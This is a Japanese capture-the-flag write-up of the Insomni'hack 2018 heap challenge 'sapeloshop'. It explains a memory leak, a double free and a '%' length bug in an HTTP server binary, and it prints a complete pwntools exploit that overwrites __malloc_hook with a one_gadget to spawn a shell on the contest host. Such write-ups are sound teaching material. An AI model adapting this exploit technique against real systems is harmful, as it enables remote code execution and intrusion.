Insomni'hack teaser 2018 [Pwn Sape 163] sapeloshop
観察
問題文
Of course Congolese sappers are hegemonic, we can't let Gaboma sappers say otherwise! Go on Jackie's website and teach him a good lesson by pwning him and show that you know how to sape!
通常のPwnでは nc {host_name} {port} のように ncまたはtelnetで接続するような問題が与えられますが
今回の問題では WebSiteに接続するという問題が与えられました。
もしかしたらWeb系との混合問題かもしれません。まずは何もわからないので、配られたファイルを見てみることにしましょう。
ファイルを解凍した中身は以下のようになりました。
$ file * footer.html: UTF-8 Unicode text header.html: HTML document, ASCII text index.html: HTML document, UTF-8 Unicode text libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5381a457906d279073822a5ceb24c4bfef94ddb, for GNU/Linux 2.6.32, stripped order.html: HTML document, UTF-8 Unicode text sapeloshop: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1c03964b1b95b599ee0949ee1bf62a06e02bf9bd, stripped
通常のPwn問と同様に実行可能なバイナリファイルとライブラリのバイナリファイルが入っています。 この問題では更に加えてhtmlファイルも入っています。
さて、とりあえずこのバイナリを実行して解析を進めてみようと思います。しかし、バイナリを実行しても何も表示されず、何かを入力しても、何も起こりません。
もしかすると直接このバイナリにHTTPアクセスを行える可能性があるかもしれません。
とりあえず、 socat TCP-LISTEN:31337,reuseaddr,fork EXEC:"strace -ff -s10000 ./sapeloshop"
のようにしてlistenさせたあと、ブラウザ上からアクセスしてみます。
実際にアクセスしてみたところブラウザ上からは問題なくページを見ることが出来ました。 つまりこれはHTTPサーバーのバイナリと見て問題ないようです。
またバイナリを radare2
でみたところ、これは malloc()
と free()
を使ったHeap系の問題と見ても良さそうです。
Heap系の問題と見た場合の exploit.py
のテンプレートが以下になります。
import sys from pwn import * #context.log_level = "debug" def generate_request(command, data=None): if not data is None: method = "POST" else: method = "GET" request = """{method} /{command} HTTP/1.1\r Host: sapeloshop.teaser.insomnihack.ch\r Connection: keep-alive\r """.format(**locals()) if not data is None: data_len = len(data) request += """Content-Length: {data_len}\r \r {data}""".format(**locals()) else: request += "\r\n" return request def get_index(): conn.send(generate_request("")) conn.recvuntil("HTTP/1.1") def post_add(desc): data = "desc=%s" % desc conn.send(generate_request("add", data)) conn.recvuntil("HTTP/1.1") def post_inc(item): data = "item=%d" % item conn.send(generate_request("inc", data)) conn.recvuntil("HTTP/1.1") def post_sub(item): data = "item=%d" % item conn.send(generate_request("sub", data)) conn.recvuntil("HTTP/1.1") def post_del(item): data = "item=%d" % item conn.send(generate_request("del", data)) conn.recvuntil("HTTP/1.1") def post_order(item): data = "item=%d" % item conn.send(generate_request("order", data)) conn.recvuntil("HTTP/1.1") def exploit(): get_index() post_add("A" * 0x90) post_del(0) post_add("A" * 0x100) post_add("A") post_add("A") conn.interactive() if __name__ == "__main__": if len(sys.argv) > 1: HOST = "sapeloshop.teaser.insomnihack.ch" PORT = "80" conn = remote(HOST, PORT) base_url = "http://" + HOST + "/" else: conn = process("./sapeloshop")#, env={"LD_PRELOAD":"./libc-2.23.so"}) base_url = "http://localhost/" exploit()
リクエストヘッダーには Connection: keep-alive を含めないと一度リクエストを送っただけでプロセスが途絶えてしまうのでそうしておきます。
あとは普通のHeap問と同じように解きます。
Exploit
まずこのバイナリでは calloc()
ではなく malloc()
を使っているために、前に確保されたチャンクの情報が残ってしまうという脆弱性があります。
これを用いることで、 libcのベースアドレスと Heap領域のアドレスをリークすることが出来ます。
def exploit(): get_index() post_add("A" * 0x17) post_add("B" * 0x8 + "\x21") post_add("C" * 0x87) post_sub(2) post_inc(2) for i in range(4): conn.recvuntil("src=\"img/") LEAK = u64(conn.recv(6) + "\x00" * 2) log.success("LEAK :0x%x" % LEAK) leak = 0x7f5e5b522b78 libc = 0x7f5e5b15e000 LIBC = LEAK - (leak - libc) log.success("LIBC :0x%x" % LIBC) post_sub(1) post_sub(0) post_inc(0) for i in range(2): conn.recvuntil("src=\"img/") HEAP = u64("\x00" + conn.recv(6)[1:] + "\x00" * 2) log.success("HEAP: 0x%x" % HEAP)
次に POST /sub に脆弱性があります。それは POST /sub によってアイテムの個数が0個になったときに free()
されるのにHeapアドレスは残ったままになるというものです。
これによってもう一度アイテムを増やして、 POST /subをやったりあるいは POST /delをやったときに double free
を起こせる脆弱性があります。
またもうひとつ、 %
をアイテムの名前に含めると %
がスキップされるにもかかわらず、サイズには %
の数も含まれるというバグが存在しており、これらを用いることで
__malloc_free
の書き換えが出来、それによってシェルの奪取が行えます。
以上がExploitになります。
最終的な exploit.py が以下になります。
import sys from pwn import * from pwn import p64, u64 #context.log_level = "debug" def generate_request(command, data=None, fake_len=None): if not data is None: method = "POST" else: method = "GET" request = """{method} /{command} HTTP/1.1\r Host: sapeloshop.teaser.insomnihack.ch\r Connection: keep-alive\r """.format(**locals()) if not data is None: data_len = len(data) if not fake_len is None: data += "%" * (fake_len - data_len - 4) data_len = len(data) request += """Content-Length: {data_len}\r \r {data}""".format(**locals()) else: request += "\r\n" return request def get_index(): conn.send(generate_request("")) conn.recvuntil("HTTP/1.1") def post_add(desc, fake_len=None, end=False): data = "desc=%s" % desc conn.send(generate_request("add", data, fake_len)) if not end: conn.recvuntil("HTTP/1.1") def post_inc(item): data = "item=%d" % item conn.send(generate_request("inc", data)) conn.recvuntil("HTTP/1.1") def post_sub(item): data = "item=%d" % item conn.send(generate_request("sub", data)) conn.recvuntil("HTTP/1.1") def post_del(item): data = "item=%d" % item conn.send(generate_request("del", data)) conn.recvuntil("HTTP/1.1") def post_order(item): data = "item=%d" % item conn.send(generate_request("order", data)) conn.recvuntil("HTTP/1.1") def exploit(): get_index() post_add("A" * 0x17) post_add("B" * 0x8 + "\x21") post_add("C" * 0x87) post_sub(2) post_inc(2) for i in range(4): conn.recvuntil("src=\"img/") LEAK = u64(conn.recv(6) + "\x00" * 2) log.success("LEAK :0x%x" % LEAK) leak = 0x7f5e5b522b78 libc = 0x7f5e5b15e000 LIBC = LEAK - (leak - libc) log.success("LIBC :0x%x" % LIBC) post_sub(1) post_sub(0) post_inc(0) for i in range(2): conn.recvuntil("src=\"img/") HEAP = u64("\x00" + conn.recv(6)[1:] + "\x00" * 2) log.success("HEAP: 0x%x" % HEAP) post_add("D" * 0x67) post_add("E" * 0x67) post_sub(2) post_sub(2) post_del(3) post_inc(2) post_del(2) __malloc_hook = 0x3c4b10 post_add(p64(LIBC + __malloc_hook - 0x23)[:-2], fake_len=0x67) post_add("F" * 0x67) post_add("G" * 0x67) #0x45216 execve("/bin/sh", rsp+0x30, environ) #constraints: # rax == NULL # #0x4526a execve("/bin/sh", rsp+0x30, environ) #constraints: # [rsp+0x30] == NULL # #0xf02a4 execve("/bin/sh", rsp+0x50, environ) #constraints: # [rsp+0x50] == NULL # #0xf1147 execve("/bin/sh", rsp+0x70, environ) #constraints: # [rsp+0x70] == NULL one_gadget = 0xf02a4 post_add("A" * 0x13 + p64(LIBC + one_gadget)[:-2], fake_len=0x67) post_add("A", end=True) conn.interactive() def experiment(): get_index() post_add("A" * 0x17, fake_len=0x87) conn.interactive() if __name__ == "__main__": if len(sys.argv) > 1: HOST = "sapeloshop.teaser.insomnihack.ch" PORT = "80" conn = remote(HOST, PORT) base_url = "http://" + HOST + "/" else: conn = process("./sapeloshop")#, env={"LD_PRELOAD":"./libc-2.23.so"}) base_url = "http://localhost/" exploit()
フラグは
INS{sapeurs_are_the_real_heapsters}
です。